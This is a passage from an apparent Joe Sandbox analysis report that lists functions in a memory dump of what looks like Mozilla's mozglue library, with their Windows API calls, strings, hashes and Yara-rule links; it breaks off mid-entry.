ntdll.dll, xrefs: 6C5375B3

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction ID: 5c0adc82cc7fb5d61c908dcc04c6610cd1c320c0ffd6f0d6c1283ca33d4bdd10
Opcode Fuzzy Hash: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction Fuzzy Hash: D1E0B671710301EFEF007FA2DD4C7027BF8EB46258FA65226A905D1681EBB09051CF29

Function 6C537600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C537592), ref: 6C537608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C537627
FreeLibrary.KERNEL32(?,6C537592), ref: 6C53763C

Strings

NtUnmapViewOfSection, xrefs: 6C537621
ntdll.dll, xrefs: 6C537603

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction ID: 65755b56d8076022622ef2144bc2363b8c78fbb82b7a2d1137df784a73eb584c
Opcode Fuzzy Hash: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction Fuzzy Hash: 87E092B0720301AFDF007FA69D087057EB8E71A299F965616E90AD2640E7B090248B1C

Function 6C53BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C53BE49), ref: 6C53BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C53BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C53BE49), ref: 6C53BF38
RtlReAllocateHeap.NTDLL ref: 6C53BF83
RtlFreeHeap.NTDLL(6C53BE49,00000000), ref: 6C53BFA6

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction ID: 16717d4d26202d81825212bbf97547d6f3c62856ff5a428a738352c0b5662417
Opcode Fuzzy Hash: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction Fuzzy Hash: BC518271A006258FE714DF69CD80BAAB3B2FFC4314F299639D559A7B54E730F9068B80

Function 6C528E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528EBF
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528F46
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F8F

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction ID: 689a4831a66a16739716efcfa1301aee204cfb39536d50dacfa37d597805b0be
Opcode Fuzzy Hash: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction Fuzzy Hash: 0E5182B2A012168FEB24CF94DC8076E77F2BF49318F19056AD516AB780E735F905CB92

Function 6C5227E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52289A
free.MOZGLUE(?,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C5228F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C522910
free.MOZGLUE(00000001,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52294E

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction ID: ff546cb7c17d99d39c1e779d3c30acaf1836bba3a5a8869d0ec7b1e7d1ee94d5
Opcode Fuzzy Hash: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction Fuzzy Hash: F64110B9A103068FEB10CF68DC8476A73F6EB45328F244938D516EBB80E735E944CB91

Function 6C4DCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4DD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4DD139

Strings

MOZ_CRASH(), xrefs: 6C4DD187

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction ID: 167fc80a2b7b8d8a0cf475c139beeca8e33e8583a2c0ead3419f0f7a7ec106c7
Opcode Fuzzy Hash: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction Fuzzy Hash: BB41E331B113164FCF05DE7C8CA5B6A76B0EB4A714F560239E918E7784D7B5AC018BE8

Function 6C4D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4D4F1E

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction ID: 6ca62c44d9a54dcdcd9a6c2cf76d8dc2991148e088ad49d06825426de5a3f70d
Opcode Fuzzy Hash: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction Fuzzy Hash: 8541BC71604702AFC701DF68C890E5BBBE4BF89394F119A2DE46587750DB30F918CB82

Function 6C53A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770), ref: 6C53A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53A87B

Part of subcall function 6C53A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C53A88F,00000000), ref: 6C53A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C53A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53A90C
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A97E

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 5410e8ea19c21fe75626835c6ac26e7e70a25c52e0757e8733cebe9a15b921bc
Instruction ID: 8abbc935114a70cfc165bcec5007195708f26f3ce4641b447700818eeff804a5
Opcode Fuzzy Hash: 5410e8ea19c21fe75626835c6ac26e7e70a25c52e0757e8733cebe9a15b921bc
Instruction Fuzzy Hash: 93419FB5A00248CFDF00DFE4CC45A9EBBB1FF44324F148629E81AAB791E731A945CB91

Function 6C4E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15E7
free.MOZGLUE(?,?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1637

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction ID: 147563ab42d7d810016601a66d8af2efe10790fe18d82ee7b111d20eaff458b0
Opcode Fuzzy Hash: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction Fuzzy Hash: 2631D8B1A401148BC714CF78D850C6E77A5BF893757260B2DE827DBBD5EB30D9058791

Function 6C53AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AD9D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE01
GetLastError.KERNEL32(?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE3D

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction ID: 1490efe5bec77162608f5c918cde4a67f56791fff20e090490494ed7465df80b
Opcode Fuzzy Hash: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction Fuzzy Hash: 473124B1A002159FDB14DF758C44AABBBF8EF89614F55882DE85AD7740F734E804CBA4

Function 6C535EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C54DCA0,?,?,?,6C50E8B5,00000000), ref: 6C535F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C50E8B5,00000000), ref: 6C535F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C50E8B5,00000000), ref: 6C535F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535FD6

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction ID: 7261b9bff629a9c8534f5cc04bd19db76d78ac71bd9b67131b90046aadc4df71
Opcode Fuzzy Hash: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction Fuzzy Hash: 68312C743006108FD710DF29CC98E2AB7F5FF89319BA55958E55A8BB95D731EC41CB80

Function 6C4DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4DB532
moz_xmalloc.MOZGLUE(?), ref: 6C4DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4DB57E
free.MOZGLUE(00000000), ref: 6C4DB58F

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction ID: 9369abe9ecd888a5930ec6c38a3ce61d1f7f6ee54443c3cb7dce2a429d8150c1
Opcode Fuzzy Hash: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction Fuzzy Hash: 8B21F671A002059BDB00DF69CC60FAABBB9FF86318F694129E818DB351E775E911C7A0

Function 6C4DB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4DB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4DB849

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction ID: 26be5c8073228ef7914faf322d923ae4efae2f1e97021fc997c77c83228a3300
Opcode Fuzzy Hash: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction Fuzzy Hash: 892130B0E002099FDF04DFA9C8959FEBBB4EF49314F158129EC05A7741E731A944CBA5

Function 6C536E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C536E78

Part of subcall function 6C536A10: InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536A68
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536A7D
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536AA1
Part of subcall function 6C536A10: EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536AAE
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536AE1
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536B15
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C536B65
Part of subcall function 6C536A10: LeaveCriticalSection.KERNEL32(6C55F618,?,?), ref: 6C536B83

MozFormatCodeAddress.MOZGLUE ref: 6C536EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C536EFF

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction ID: 06ba941a4968cbf5ad06a6d2f821e439555bcfb823db5b79d2c1c075e74d714a
Opcode Fuzzy Hash: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction Fuzzy Hash: DA219071A0431A9FDB00DF69DC8569A77F5FF84308F44403DE80D97241EB759A588F92

Function 6C510D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4D3DEF), ref: 6C510D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4D3DEF), ref: 6C510D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4D3DEF), ref: 6C510DAF

Strings

<jemalloc>, xrefs: 6C510D92, 6C510DB9
: (malloc) Error in VirtualFree(), xrefs: 6C510D97, 6C510DBE

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction ID: 967d770c1b66a1f68ade8b4919b9e8c167296d65be118afdd568406cbdd4c79f
Opcode Fuzzy Hash: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction Fuzzy Hash: ACF0E97139829423FA2025660C0EB9B26AD6BC2B24F754137F204DADC0DB60E83086A8

Function 6C535850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C53586C
CloseHandle.KERNEL32 ref: 6C535878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C535898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5358C9
free.MOZGLUE(00000000), ref: 6C5358D3

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction ID: 8e31c0e56f009f81385ea02978747a1b8922f89518279439536191aed31bea0e
